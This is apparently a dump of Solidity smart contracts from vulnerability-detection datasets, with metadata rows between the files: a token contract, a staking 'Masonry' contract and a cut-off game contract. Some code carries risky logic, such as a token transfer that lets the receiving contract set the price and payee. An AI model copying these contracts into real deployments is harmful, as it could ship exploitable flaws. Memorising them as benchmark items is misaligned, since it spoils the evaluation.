function recoverSig(bytes sig, address old_key, address last_address) public pure returns (address[], address[], uint8[]) {
// validate sig AND
// recover the information from the signature: influencers, public_link_keys, weights/cuts
// influencers may have one more address than the keys and weights arrays
//
require(old_key != address(0),'no public link key');
address[] memory influencers;
address[] memory keys;
uint8[] memory weights;
uint[] memory offsets;
(influencers, keys, weights, offsets) = recoverSigParts(sig, last_address);
// check if we received a valid signature
for(uint i = 0; i < influencers.length; i++) {
if (i < weights.length) {
require (recoverHash(keccak256(abi.encodePacked(weights[i], keys[i], influencers[i])),sig,offsets[i]) == old_key, 'illegal signature');
old_key = keys[i];
} else {
// signed message for the last step is the address of the converter
require (recoverHash(keccak256(abi.encodePacked(influencers[i])),sig,offsets[i]) == old_key, 'illegal last signature');
}
}
return (influencers, keys, weights);
}
}
| 226,594 | 275 |
cf1853a6666eaae2ec39c849bac86358c1255888e53f6671dd9e16ff59e0f3e6
| 10,059 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0xcfa5a161c269cce80017817066c9951398a7be67.sol
| 2,424 | 9,512 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data) public pure {
}
function doTransfer(address _to, uint256 _index) public returns (uint256 price, address owner);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint);
function allowance(address tokenOwner, address spender) public constant returns (uint);
function transfer(address to, uint tokens) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
function transferFrom(address from, address to, uint tokens) public returns (bool);
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC223 is ERC20Interface {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint tokens);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract NeoWorldCash is ERC223, Owned {
using SafeMath for uint256;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
event Burn(address indexed from, uint256 value);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function NeoWorldCash() public {
symbol = "NASH";
name = "NEOWORLD CASH";
decimals = 18;
totalSupply = 100000000000 * 10**uint(decimals);
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply, "");
}
// Function to access name of token .
function name() public view returns (string) {
return name;
}
// Function to access symbol of token .
function symbol() public view returns (string) {
return symbol;
}
// Function to access decimals of token .
function decimals() public view returns (uint8) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool) {
ContractReceiver receiver = ContractReceiver(_to);
uint256 price;
address owner;
(price, owner) = receiver.doTransfer(msg.sender, bytesToUint(_data));
if (balanceOf(msg.sender) < price) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(price);
balances[owner] = balanceOf(owner).add(price);
receiver.tokenFallback(msg.sender, price, _data);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) public view returns (uint) {
return balances[_owner];
}
function burn(uint256 _value) public returns (bool) {
require (_value > 0);
require (balanceOf(msg.sender) >= _value); // Check if the sender has enough
balances[msg.sender] = balanceOf(msg.sender).sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function bytesToUint(bytes b) private pure returns (uint result) {
uint i;
result = 0;
for (i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 210,051 | 276 |
c01ff52ec29d76ef4dc9585db4795d863bceeab495284d092b7b05afa7e1db2b
| 30,614 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/5c/5C44902C82B48dA92282beed3Ee4CF64CA07923B_Masonry.sol
| 4,860 | 18,673 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(), "ContractGuard: one block, one function");
require(!checkSameSenderReentranted(), "ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
}
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getCloudPrice() external view returns (uint256);
function buyBonds(uint256 amount, uint256 targetPrice) external;
function redeemBonds(uint256 amount, uint256 targetPrice) external;
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ShareWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public share;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
share.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 masonShare = _balances[msg.sender];
require(masonShare >= amount, "Masonry: withdraw request greater than staked amount");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = masonShare.sub(amount);
share.safeTransfer(msg.sender, amount);
}
}
contract Masonry is ShareWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Masonseat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct MasonrySnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
// governance
address public operator;
// flags
bool public initialized = false;
IERC20 public cloud;
ITreasury public treasury;
mapping(address => Masonseat) public masons;
MasonrySnapshot[] public masonryHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
modifier onlyOperator() {
require(operator == msg.sender, "Masonry: caller is not the operator");
_;
}
modifier masonExists {
require(balanceOf(msg.sender) > 0, "Masonry: The mason does not exist");
_;
}
modifier updateReward(address mason) {
if (mason != address(0)) {
Masonseat memory seat = masons[mason];
seat.rewardEarned = earned(mason);
seat.lastSnapshotIndex = latestSnapshotIndex();
masons[mason] = seat;
}
_;
}
modifier notInitialized {
require(!initialized, "Masonry: already initialized");
_;
}
function initialize(IERC20 _cloud,
IERC20 _share,
ITreasury _treasury) public notInitialized {
cloud = _cloud;
share = _share;
treasury = _treasury;
MasonrySnapshot memory genesisSnapshot = MasonrySnapshot({time : block.number, rewardReceived : 0, rewardPerShare : 0});
masonryHistory.push(genesisSnapshot);
withdrawLockupEpochs = 6; // Lock for 6 epochs (36h) before release withdraw
rewardLockupEpochs = 3; // Lock for 3 epochs (18h) before release claimReward
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return masonryHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (MasonrySnapshot memory) {
return masonryHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address mason) public view returns (uint256) {
return masons[mason].lastSnapshotIndex;
}
function getLastSnapshotOf(address mason) internal view returns (MasonrySnapshot memory) {
return masonryHistory[getLastSnapshotIndexOf(mason)];
}
function canWithdraw(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch();
}
function canClaimReward(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch();
}
function epoch() external view returns (uint256) {
return treasury.epoch();
}
function nextEpochPoint() external view returns (uint256) {
return treasury.nextEpochPoint();
}
function getCloudPrice() external view returns (uint256) {
return treasury.getCloudPrice();
}
// =========== Mason getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address mason) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(mason).rewardPerShare;
return balanceOf(mason).mul(latestRPS.sub(storedRPS)).div(1e18).add(masons[mason].rewardEarned);
}
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot stake 0");
super.stake(amount);
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override onlyOneBlock masonExists updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot withdraw 0");
require(masons[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Masonry: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = masons[msg.sender].rewardEarned;
if (reward > 0) {
require(masons[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Masonry: still in reward lockup");
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
masons[msg.sender].rewardEarned = 0;
cloud.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Masonry: Cannot allocate 0");
require(totalSupply() > 0, "Masonry: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
MasonrySnapshot memory newSnapshot = MasonrySnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
masonryHistory.push(newSnapshot);
cloud.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator {
// do not allow to drain core tokens
require(address(_token) != address(cloud), "cloud");
require(address(_token) != address(share), "scloud");
_token.safeTransfer(_to, _amount);
}
}
| 326,819 | 277 |
314a72d80093bdc171d3d714742f1dc058c069d825a9e5d822f250b8df93f207
| 18,319 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb84c7a87be5473ce105af1dd60bf296769bed6d3.sol
| 4,528 | 17,754 |
pragma solidity ^0.4.18;
contract InterfaceContentCreatorUniverse {
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function priceOf(uint256 _tokenId) public view returns (uint256 price);
function getNextPrice(uint price, uint _tokenId) public pure returns (uint);
function lastSubTokenBuyerOf(uint tokenId) public view returns(address);
function lastSubTokenCreatorOf(uint tokenId) public view returns(address);
//
function createCollectible(uint256 tokenId, uint256 _price, address creator, address owner) external ;
}
contract InterfaceYCC {
function payForUpgrade(address user, uint price) external returns (bool success);
function mintCoinsForOldCollectibles(address to, uint256 amount, address universeOwner) external returns (bool success);
function tradePreToken(uint price, address buyer, address seller, uint burnPercent, address universeOwner) external;
function payoutForMining(address user, uint amount) external;
uint256 public totalSupply;
}
contract InterfaceMining {
function createMineForToken(uint tokenId, uint level, uint xp, uint nextLevelBreak, uint blocknumber) external;
function payoutMining(uint tokenId, address owner, address newOwner) external;
function levelUpMining(uint tokenId) external;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
address private newCeoAddress;
address private newCooAddress;
function Owned() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
newCeoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
newCooAddress = _newCOO;
}
function acceptCeoOwnership() public {
require(msg.sender == newCeoAddress);
require(address(0) != newCeoAddress);
ceoAddress = newCeoAddress;
newCeoAddress = address(0);
}
function acceptCooOwnership() public {
require(msg.sender == newCooAddress);
require(address(0) != newCooAddress);
cooAddress = newCooAddress;
newCooAddress = address(0);
}
mapping (address => bool) public youCollectContracts;
function addYouCollectContract(address contractAddress, bool active) public onlyCOO {
youCollectContracts[contractAddress] = active;
}
modifier onlyYCC() {
require(youCollectContracts[msg.sender]);
_;
}
InterfaceYCC ycc;
InterfaceContentCreatorUniverse yct;
InterfaceMining ycm;
function setMainYouCollectContractAddresses(address yccContract, address yctContract, address ycmContract, address[] otherContracts) public onlyCOO {
ycc = InterfaceYCC(yccContract);
yct = InterfaceContentCreatorUniverse(yctContract);
ycm = InterfaceMining(ycmContract);
youCollectContracts[yccContract] = true;
youCollectContracts[yctContract] = true;
youCollectContracts[ycmContract] = true;
for (uint16 index = 0; index < otherContracts.length; index++) {
youCollectContracts[otherContracts[index]] = true;
}
}
function setYccContractAddress(address yccContract) public onlyCOO {
ycc = InterfaceYCC(yccContract);
youCollectContracts[yccContract] = true;
}
function setYctContractAddress(address yctContract) public onlyCOO {
yct = InterfaceContentCreatorUniverse(yctContract);
youCollectContracts[yctContract] = true;
}
function setYcmContractAddress(address ycmContract) public onlyCOO {
ycm = InterfaceMining(ycmContract);
youCollectContracts[ycmContract] = true;
}
}
contract TransferInterfaceERC721YC {
function transferToken(address to, uint256 tokenId) public returns (bool success);
}
contract TransferInterfaceERC20 {
function transfer(address to, uint tokens) public returns (bool success);
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20.sol
// ----------------------------------------------------------------------------
contract YouCollectBase is Owned {
using SafeMath for uint256;
event RedButton(uint value, uint totalSupply);
// Payout
function payout(address _to) public onlyCLevel {
_payout(_to, this.balance);
}
function payout(address _to, uint amount) public onlyCLevel {
if (amount>this.balance)
amount = this.balance;
_payout(_to, amount);
}
function _payout(address _to, uint amount) private {
if (_to == address(0)) {
ceoAddress.transfer(amount);
} else {
_to.transfer(amount);
}
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyCEO returns (bool success) {
return TransferInterfaceERC20(tokenAddress).transfer(ceoAddress, tokens);
}
}
contract InterfaceSpawn {
uint public totalVotes;
function getVotes(uint id) public view returns (uint _votes);
}
contract RocketsAndResources is YouCollectBase {
InterfaceSpawn subcontinentDiscoveryVoting;
event RocketLaunch(uint _rocketTokenId);
event RocketAddFunds(uint _rocketTokenId, uint _res, uint _yccAmount, address _sender);
event ResourcesDiscovered(uint _cityTokenId);
event ResourcesTransfered(uint cityTokenId, uint _rocketTokenId, uint _res, uint _count);
// ---------------------------
// Configuration
bool public contractActive = false;
uint discoveryCooldownMin = 1500;
uint discoveryCooldownMax = 6000;
uint discoveryPriceMin = 2000000000000000000000000;
uint discoveryPriceMax = 25000000000000000000000000;
uint rocketTravelTimeA = 10000; // in resource-traveltime-formula A/x
uint rocketTravelTimeMinBlocks = 24000; // added to traveltimes of resources
uint rocketEarliestLaunchTime;
// ---------------------------
mapping (uint => uint) discoveryLastBlock;
mapping (uint => uint[]) cityResourceRichness; // eg [1, 6, 0, 0] --- gets added to resource-counts on discovery
mapping (uint => uint[]) cityResourceCount;
mapping (uint => uint[]) rocketResourceCount;
mapping (uint => uint[]) rocketResourceYccFunds;
mapping (uint => uint[]) rocketResourcePrices;
mapping (uint => uint) rocketLaunchBlock; // when owner launched the rocket
mapping (uint => uint) rocketTravelTimeAtLaunch; // when launched, we record the travel time (in case we change params in the formula)
mapping (uint => uint) rocketTravelTimeIncrease;
uint64 constant MAX_SUBCONTINENT_INDEX = 10000000000000;
function RocketsAndResources() public {
rocketEarliestLaunchTime = block.number + 36000; // earliest launch is 6 days after contract deploy
}
function setSubcontinentDiscoveryVotingContract(address spawnContract) public onlyCOO {
subcontinentDiscoveryVoting = InterfaceSpawn(spawnContract);
}
function setContractActive(bool contractActive_) public onlyCOO {
contractActive = contractActive_;
}
function setConfiguration(uint discoveryCooldownMin_,
uint discoveryCooldownMax_,
uint discoveryPriceMin_,
uint discoveryPriceMax_,
uint rocketEarliestLaunchTime_,
uint rocketTravelTimeA_,
uint rocketTravelTimeMinBlocks_) public onlyYCC
{
discoveryCooldownMin = discoveryCooldownMin_;
discoveryCooldownMax = discoveryCooldownMax_;
discoveryPriceMin = discoveryPriceMin_;
discoveryPriceMax = discoveryPriceMax_;
rocketEarliestLaunchTime = rocketEarliestLaunchTime_;
rocketTravelTimeA = rocketTravelTimeA_;
rocketTravelTimeMinBlocks = rocketTravelTimeMinBlocks_;
}
function setCityValues(uint[] cityTokenIds_, uint resourceLen_, uint[] resourceRichness_, uint[] resourceCounts_) public onlyYCC {
uint len = cityTokenIds_.length;
for (uint i = 0; i < len; i++) {
uint city = cityTokenIds_[i];
uint resourceBaseIdx = i * resourceLen_;
cityResourceRichness[city] = new uint[](resourceLen_);
cityResourceCount[city] = new uint[](resourceLen_);
for (uint j = 0; j < resourceLen_; j++) {
cityResourceRichness[city][j] = resourceRichness_[resourceBaseIdx + j];
cityResourceCount[city][j] = resourceCounts_[resourceBaseIdx + j];
}
}
}
function setRocketValues(uint[] rocketTokenIds_, uint resourceLen_, uint[] resourceYccFunds_, uint[] resourcePrices_, uint[] resourceCounts_) public onlyYCC {
uint len = rocketTokenIds_.length;
for (uint i = 0; i < len; i++) {
uint rocket = rocketTokenIds_[i];
uint resourceBaseIdx = i * resourceLen_;
